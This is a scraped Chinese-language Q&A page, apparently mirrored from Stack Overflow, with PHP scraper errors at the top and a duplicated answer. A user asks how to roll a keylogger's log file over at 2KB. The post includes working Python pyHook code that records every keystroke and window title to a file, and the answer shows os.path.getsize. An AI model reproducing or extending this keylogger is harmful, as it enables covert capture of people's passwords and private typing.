Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/282.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/file/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 在pyhook pumpmessages中使用自己的代码_Python_File_Keylogger_Pyhook - Fatal编程技术网

Python 在pyhook pumpmessages中使用自己的代码

Python 在pyhook pumpmessages中使用自己的代码,python,file,keylogger,pyhook,Python,File,Keylogger,Pyhook,我想检查我在其中写入密钥的文件是否超过2Kb。如果它超过2KB,那么我需要创建另一个文件并停止在此文件中写入。我是python的初学者,请帮助我。请说明在哪里可以使用代码检查文件是否超过2kb import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os import datetime now = datetime.datetime.now() p = now.strftime("%Y-%m-%d

我想检查我在其中写入密钥的文件是否超过2Kb。如果它超过2KB,那么我需要创建另一个文件并停止在此文件中写入。我是python的初学者,请帮助我。请说明在哪里可以使用代码检查文件是否超过2kb

import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime 
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path =  p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
    def OnKeyboardEvent(event):
        global lastWindow
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            print window 
            lastWindow = window
        print key
    hm = pyHook.HookManager()

    hm.KeyDown = OnKeyboardEvent

    hm.HookKeyboard()
    pythoncom.PumpMessages()

希望您能提供帮助

您可以使用
.getsize

>>> import os
>>> b = os.path.getsize("/path/isa_005.mp3")
>>> b
2071611L

您可以使用
.getsize

>>> import os
>>> b = os.path.getsize("/path/isa_005.mp3")
>>> b
2071611L